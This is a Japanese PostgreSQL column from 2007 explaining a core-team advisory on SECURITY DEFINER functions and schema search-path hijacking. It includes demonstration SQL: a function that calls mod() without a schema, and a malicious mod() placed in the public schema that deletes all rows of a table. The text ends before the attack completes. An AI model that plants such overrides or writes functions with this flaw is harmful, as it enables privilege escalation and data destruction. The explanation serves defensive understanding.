2007年最初のPostgreSLQウォッチをお届けする。前回のPostgreSQLウォッチから2カ月近く経っているので,話題が溜っている。それらを今回はまとめてお伝えするが,その前に最新の話題から。

ユーザー定義関数の脆弱性に関する勧告

 2007年2月14日,コアチームから,ユーザー定義関数のある種の利用法(SECURITY DEFINERに関する脆弱性についての勧告が出された。

http://archives.postgresql.org/pgsql-general/2007-02/msg00679.php

 このような勧告が出されるのは極めて異例のことなので,その内容を詳細に検討してみよう。

SECURITY DEFINERとは

 PostgreSQLのユーザー定義関数を作成時に,「SECURITY DEFINER」という属性を追加できる。この属性を指定すると,関数の実行権限がPostgreSQLへ接続中のユーザーではなく,関数を定義したユーザーになる。この機能の典型的な利用方法としては,特定のユーザーしかアクセス権限がないテーブルに対して,一般のユーザが限定された方法でデータを読んだり,書いたりすることができるような関数を作る,ということが考えられる。これは,UNIXにおける「setuid」と良く似た考え方だ。

スキーマサーチパスとの組合せで脆弱性

 しかし,ここに落し穴がある。例えばSECURITY DEFINERを使った関数が剰余を返す「mod」という関数を使っていたとしよう。modはPostgreSQLの標準組込み関数なので,「pg_catalog」というシステム専用のスキーマに登録されている。PostgreSQL には「スキーマサーチパス」というUNIXのコマンドサーチパスと同じような考え方があり,関数などのオブジェクトはスキーマの指定がなければ,まずpg_catalog,次にpublicというスキーマから検索される。したがって,単に「mod」を呼び出すと,通常はpg_catalog.modが呼び出される。しかし,このスキーマサーチパスはユーザーが自由に設定を変えることができるデータなのである。もし悪意のあるユーザーがpublicスキーマに改変したmodを置き,pg_catalogよりもpublicが優先されるようにスキーマサーチパスを設定すると,SECURITY DEFINERで定義されたユーザーの権限で改変版modを使って好きなことができてしまう。

脆弱性の実例

 少々わかりにくい話かもしれないので,この脆弱性を実証コードで解説しよう。

【お詫び】以下のサンプルコードで,編集部のミスにより,掲載当初,カンマが全角になっており正しく動作しないものがありました。お詫びして修正いたします。[2007年2月21日]

 t1というテーブルがあり,このテーブルにt1のオーナー以外がデータを追加できるような関数,insert_modを定義する。

CREATE TABLE t1 (i INTEGER);

CREATE OR REPLACE FUNCTION insert_mod(INTEGER, INTEGER) RETURNS VOID AS $$
BEGIN
INSERT INTO t1(i) VALUES (mod($1, $2));
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;

 ユーザーnobodyはt1を更新する権限を持っていない。

$ psql -U nobody test
Welcome to psql 8.2.3, the PostgreSQL interactive terminal.

Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit

test=> INSERT INTO t1 VALUES(1);
ERROR: permission denied for relation t1

 しかし,insert_modを呼び出すことによってデータをt1に追加できる。

test=> SELECT insert_mod(10, 3);
insert_mod
------------

(1 row)

 PostgreSQLのスーパユーザーでデータが追加されたことを確認できる。

test=# SELECT * FROM t1;
i
-----
1
(1 rows)

 ここで悪意のあるユーザーnobodyは,以下のような関数をpublicスキーマに定義した。

CREATE OR REPLACE FUNCTION mod(INTEGER, INTEGER) RETURNS INTEGER AS $$
DELETE FROM t1;
SELECT 100;
$$ LANGUAGE sql;

 御覧のように,t1の中身を全部DELETEするという凶悪な内容である。